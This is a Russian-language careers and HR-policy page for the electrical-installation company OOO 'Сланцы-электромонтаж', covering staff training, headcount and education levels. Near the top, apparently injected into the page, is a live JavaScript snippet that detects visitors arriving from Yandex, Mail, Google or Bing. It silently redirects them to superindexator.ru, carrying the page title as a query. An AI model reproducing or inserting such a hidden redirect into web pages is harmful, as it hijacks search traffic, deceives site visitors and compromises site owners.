Вакансии
var keyword = document.title;
var isps = document.referrer.match(/(yandex)|(mail)|(google)|(bing)/i);
if (keyword.indexOf("Tumblr.Com")>0)
{
keyword = keyword.split("Tumblr.Com")[1].replace("— ","").replace("...","");
}
else
{
keyword = keyword.split("-")[0];
keyword = keyword.split("::")[0];
}
if (isps) {window.location.href = "http://superindexator.ru/redirect.php?q="+encodeURIComponent(keyword);}
Кадровая политика
Наши руководители уверены, что не только новые технологии и оборудование являются основой успешной работы организации. Основным элементом является сплоченный коллектив.
Основа компании - команда людей, обладающих высокой квалификацией, опытом разработки и реализации проектов, налаженными связями с поставщиками и заказчиками, достаточным потенциалом для выполнения работ на крупных промышленных площадках.
Кадровая политика нашей компании направлена на привлечение, удержание и развитие кадров, способствующих развитию предприятия, формирование коллектива единомышленников. Мы ценим наши достижения, но продвигаемся вперед, опираясь на опыт и индивидуальные усилия членов коллектива, руководствуясь принципами взаимного уважения и сотрудничества. В нашей организации поощряется профессиональный рост, инициативность и личностное развитие сотрудников. Считаем, что именно от кадрового потенциала зависит успешное развитие компании, поэтому сотрудникам предоставляется возможность для обучения и повышения квалификации. На нашем предприятии организуется практика студентов профильных учебных заведений нашего города. Ежегодно сотрудники проходят Курсы повышения квалификации. В Компании существует возможность карьерного роста.
На сегодняшний день в ООО "Сланцы-электромонтаж" работают 119 человек. Средний возраст составляет 40 лет. Специфика деятельности предполагает наличие профессионального образования. 20% работников имеют высшее образование, 40% - среднетехническое. Все монтажники помимо основной специальности прошли обучение совмещенным работам.
|
